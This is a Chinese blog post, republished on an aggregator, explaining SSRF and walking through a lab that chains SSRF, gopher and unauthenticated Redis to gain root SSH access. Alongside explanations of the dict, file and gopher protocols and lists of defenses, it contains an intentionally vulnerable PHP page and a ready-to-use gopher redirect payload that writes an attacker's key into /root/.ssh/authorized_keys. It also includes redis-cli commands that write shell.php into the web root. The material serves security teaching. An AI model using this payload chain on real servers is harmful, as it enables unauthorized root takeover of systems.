SSRF攻击

news2024/9/21 19:04:25

目录

1、curl_exec函数

2、dict协议

3、file协议

4、Redis未授权访问

5、gopher协议

6、SSRF

定义:

原理:

防御:

ssrf实现.ssh未创建写shell

1、环境搭建

2、实施攻击

2.1、生成公钥

2.2、用SSH公钥数据伪造Redis数据

2.3、攻击


1、curl_exec函数

前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。

除了http、https外,curl还支持一些其他协议,可以使用 curl --version来进行查看其支持的协议。支持的协议有:FTP、FTPS、HTTP、HTTPS、GOPHER、TELNET、DICT、FILE和LDAP;

2、dict协议

dict协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。使用dict协议架设的服务可以用telnet来登录,说明这个协议可能是基于TCP协议来开发的。

所以其他基于TCP协议来开发的服务,应该可以用dict协议的方式来强行读取一些数据。如mysql服务、Redis服务等;

该协议主要是用来判断服务开启的端口和服务。可以借助BurpSuit工具的暴力破解来进行。

?url=dict://[ip地址]:[端口号]

3、file协议

用来读取服务器文件,例如:

?url=file:///etc/apt/sources.list

4、Redis未授权访问

原理:

Redis在默认安装情况下,默认端口为6379,没有添加过防火墙信任规则,修改默认端口等防护策略,这相当于直接将 Redis服务暴露到公网上,如果设置密码认证(默认为空)的情况,会导致任意用户都可访问目标服务器--即Redis未授权访问,以及读取Redis的数据,攻击者可以在这个条件下,如果Redis是以root身份运行,利用root权限的身份写入ssh公钥,通过ssh登录目标服务器,写入webshell,拿到控制权。

危害:

1、知道服务器物理路径,写入webshell。

2、写入任务计划,反弹shell。

3、写入公钥,直接登录服务器

防御:

第一: 修改redis绑定的IP 如果只在本机使用redis服务那么只要绑定127.0.0.1 如果其他主机需要访问redis服务那么只绑定客户主机所在网络的接口 最好不要绑定0.0.0.0 另外需要通过主机内置的防火墙如iptables,或者其他外置防火墙禁止非业务主机访问redis服务

第二: 设置访问密码 在 redis.conf 中找到“requirepass”字段,取消注释并在后面填上你需要的密码。 注:修改redis的配置需要重启redis才能生效。

第三: 使用普通用户启动redis,并且禁止该用户启动shell,禁止使用root用户启动redis。

5、gopher协议

gopher协议是一种信息查找系统,它将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在www出现之前,gopher是Internet上最主要的信息检索工具,gopher站点也是最主要的站点,使用TCP70端口。但在www出现后,gopher失去了昔日的辉煌。现在基本过时,人们很少再使用它。它只支持文本,不支持图像;

开源工具gopherus(tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers (github.com))

使用gopherus --help可以查看该工具对那些服务可以使用

解码

6、SSRF

定义:

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

原理:

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

防御:

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

注:此博客讲解的更详细(SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客)

ssrf实现.ssh未创建写shell

1、环境搭建

kali和Ubuntu虚拟机各一台

ubuntu下:

test.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="test.php" method="post">
        input url: <input type="text" name="url"><br>
        <input type="submit" value="submit">

    </form>
</body>
</html>

test.php:

<?php
        function check_ip($url)         #对ip进行限制,现在内网ip
        {
                $match_res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
                if(!$match_res)
                {
                        echo 'url fomat erro';
                        exit();
                }
                try
                {
                        $url_parse=parse_url($url);
                }
                catch(Exception $e)
                {
                        echo 'url fomat error';
                        exit();
                }
                $ip=gethostbyname($url_parse['host']);
                echo $ip;
                $ini_ip=ip2long($ip);
                if ($ini_ip>>24==ip2long('127.0.0.0')>>24||$ini_ip==ip2long('服务机公网ip'))
                {
                        echo "ip can not inner ip";
                        exit();
                }
        }
 
        $ch=curl_init();
        $url=$_GET['url'];
        check_ip($url);
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_HEADER,0);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER);  #302调转支持gopher协议
        curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);                  #跟随跳转
        $res=curl_exec($ch);
        curl_close($ch);
        echo $res;
 
?>

kali下:

2、实施攻击

2.1、生成公钥

执行 ssh-keygen -t rsa 生成攻击机的SSH公钥数据:

cd /root/.ssh
ssh-keygen -t rsa

2.2、用SSH公钥数据伪造Redis数据
Socat -v tcp-listen:1234,fork tcp-connect:localhost:6379 
redis-cli -p 1234 fushall  #清空redis当前库的数据
 
echo -e "\n\n
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali\n\n" | redis-cli -p 1234 -x set a   #写入一个key=value数据 '\n' 是因为在保存redis数据的时候会自动在数据前和后生成一些数据,换行符能让其分离
 
redis-cli -p 1234 config set dir /var/www/html/  #设置保存路径
 
redis-cli -p 1234 config set dbfilename shell.php   #设置保存文件名
 
redis-cli -p 1234 save   #保存

2.3、攻击

在kali下写个attack.php

<?php
header("Location: gopher://127.0.0.1:6379/_*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A");
?>

在/root/.ssh目录下:

ssh -i id_rsa root@IP地址

登录就行了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2072188.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python | Leetcode Python题解之第368题最大整除子集

题目&#xff1a; 题解&#xff1a; class Solution:def largestDivisibleSubset(self, nums: List[int]) -> List[int]:n len(nums)nums.sort()dp [1]*nres [[nums[i]] for i in range(n)]ans res[0]for i in range(n):for j in range(i):if nums[i] % nums[j] 0 and…

ECCV`24 | 艺术文本和场景文本分割任务新SOTA 方法!华科Adobe提出WAS!

文章链接&#xff1a;https://arxiv.org/pdf/2408.00106 git链接&#xff1a;https://github.com/xdxie/WAS_WordArt-Segmentation 亮点直击 提出了艺术文本分割这一新任务&#xff0c;并构建了一个真实数据集用于模型性能基准测试。 设计了训练数据合成策略&#xff0c;生成了…

PyCharm汉化:简单一步到胃!PyCharm怎么设置中文简体

最近在弄python的项目 一起加油哦 步骤&#xff1a; PyCharm的汉化可以通过两种主要方法完成&#xff1a; 方法一&#xff1a;通过PyCharm内置的插件市场安装中文语言包 1. 打开PyCharm&#xff0c;点击File -> Settings&#xff08;在Mac上是PyCharm -> Preferences…

集合及数据结构第十一节————排序

系列文章目录 集合及数据结构第十一节————排序 排序 排序的概念排序运用常见的排序算法插入排序选择排序交换排序归并排序排序算法复杂度及稳定性分析其他非基于比较排序排序练习题 文章目录 系列文章目录集合及数据结构第十一节————排序 一、排序的概念及引用1.排序…

(免费领源码)python#Django#msyql学生个性化培养的教学资源平台的设计与实现19385-计算机毕业设计项目选题推荐

摘 要 信息化社会内需要与之针对性的信息获取途径&#xff0c;但是途径的扩展基本上为人们所努力的方向&#xff0c;由于站在的角度存在偏差&#xff0c;人们经常能够获得不同类型信息&#xff0c;这也是技术最为难以攻克的课题。针对学生个性化培养的教学资源平台等问题&#…

独角数卡,打开商品列表出现Undefined variable form的解决办法

前言 独角数卡,打开商品列表出现了ErrorException In GoodsController.php line 95 : Undefined variable: form ErrorException In GoodsController.php line 95 : Undefined variable: form#0 app/Admin/Controllers/GoodsController.php(95): Illuminate/Foundation/Boots…

应用层协议(上)Http(URL、Cookie、Session)内含逻辑图解通俗易懂!

绪论​ “少年没有乌托邦 心向远方自明朗”&#xff0c;本章是应用层常用且重要的协议htttp&#xff0c;没看过应用层建议一定先看那一篇后再看本章才能更好的去从上到下的理解应用层。 话不多说安全带系好&#xff0c;发车啦&#xff08;建议电脑观看&#xff09;。 1.Http协…

【HZHY-AI300G智能盒试用连载体验】评测视频教程

前段时间&#xff0c;我参加了HZHY-AI300G智能盒试用&#xff0c;在电子发烧友论坛和CSDN发布了相关内容。应厂商要求&#xff0c;录制了相关的操作视频&#xff0c;现在已经发在B站了&#xff0c;欢迎大家观看。 【RK3588】HZHY-AI300G平台应用 1. 智能盒硬件接口介绍_哔哩哔哩…

计算机Java项目|基于SpringBoot的经方药食两用服务平台的设计与实现

作者主页&#xff1a;编程指南针 作者简介&#xff1a;Java领域优质创作者、CSDN博客专家 、CSDN内容合伙人、掘金特邀作者、阿里云博客专家、51CTO特邀作者、多年架构师设计经验、多年校企合作经验&#xff0c;被多个学校常年聘为校外企业导师&#xff0c;指导学生毕业设计并参…

Python编码系列—Python中的Web安全防护:深入探索SQL注入与XSS攻击

&#x1f31f;&#x1f31f; 欢迎来到我的技术小筑&#xff0c;一个专为技术探索者打造的交流空间。在这里&#xff0c;我们不仅分享代码的智慧&#xff0c;还探讨技术的深度与广度。无论您是资深开发者还是技术新手&#xff0c;这里都有一片属于您的天空。让我们在知识的海洋中…

【YOLO5 项目实战】(7)YOLO5 手势识别

欢迎关注『youcans动手学模型』系列 本专栏内容和资源同步到 GitHub/youcans 【YOLO5 项目实战】&#xff08;1&#xff09;YOLO5 环境配置与检测 【YOLO5 项目实战】&#xff08;2&#xff09;使用自己的数据集训练目标检测模型 【YOLO5 项目实战】&#xff08;7&#xff09;Y…

langchain入门系列之一 初识langchain

LangChain 是一个用于开发由语言模型驱动的应用程序的框架。它使得应用程序能够&#xff1a; 具有上下文感知能力&#xff1a;将语言模型连接到上下文来源&#xff08;提示指令&#xff0c;少量的示例&#xff0c;需要回应的内容等&#xff09; 具有推理能力&#xff1a;依赖语…

黑猫带你学NandFlash第8篇:NAND的供电情况详解

本文依据不同型号NandFlash spec及个人工作经验整理而成,如有错误请留言。 文章为付费内容,已加入原创侵权保护,禁止私自转载及抄袭,违者必纠。 文章所在专栏:《黑猫带你学:NandFlash详解》 1 nand有几路power pin? 1.1 典型电压值 推荐的直流电压: - 相关要求 1、…

VBA技术资料MF191:将源文件夹所有文件移动到目标文件夹

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套&#xff0c;分为初级、中级、高级三大部分&#xff0c;教程是对VBA的系统讲解&#…

暑期算法训练

目录 A.糖果&#xff08;Candy) B.小红的数组重排 C.牛牛与LCM D.子串 E.勤奋的杨老师 F.清楚姐姐跳格子 G.方块 I H.PUBG A.糖果&#xff08;Candy) 思路 &#xff1a;贪心&#xff0c;为了使操作数最少&#xff0c;我们要尽可能的先吃第二个盒子里的糖果&#x…

MySQL 中间件 MySQL-Router

目录 1 MySQL-Router 的介绍 2 MySQL-Router 负载均衡 2.1 设计目的&#xff1a; 2.2 HAProxy 与 Nginx 和 MySQL-Router 之间的区别 2.3 MySQL-Router 的优势 3 MySQL-Router 的获取 3 MySQL-Router 的使用 3.1 实验环境 3.2 MySQL-Router 部署 3.3 MySQL-Router 配置 3.4 测…

java后端请求与响应总结

get 请求&#xff1a;将参数写在请求路径中&#xff08;请求路径跟一个&#xff1f;后面跟参数多个参数之间用&连接&#xff09; post 请求&#xff1a;将参数写在请求体中中 一、请求 1.简单参数 如 传一个或两个字符串、整数等 例如串一个用户名和密码 如果传入的数…

完成课题ssrf实现.SSH未创建写shell,同时完成其他漏洞复现

一、SSRF (Server-Side Request Forgery) 是一种网络安全漏洞&#xff0c;发生在服务器端应用程序中&#xff0c;允许攻击者通过服务器向任意网络资源发送请求&#xff0c;而无需用户直接参与。这种漏洞通常源于程序设计错误&#xff0c;例如当应用程序使用用户的输入作为URL请…

C++入门基础知识31

成长路上不孤单&#x1f60a;【14后男生&#xff0c;C爱好者&#xff0c;持续分享所学&#xff0c;如有需要欢迎收藏转发&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#xff01;&#xff01;&#xff01;&#xff01;&…

论文辅助笔记:Large Language Models are Zero-Shot Next LocationPredictors

论文理论部分&#xff1a;论文笔记&#xff1a;lunLarge Language Models are Zero-Shot Next LocationPredictors-CSDN博客 2 Data 2.1 Dataset类 2.2 下载文件 2.3 get_dataset 2.4 get_trajectories trajectory_split暂时略去 # save the test dictionary and the true l…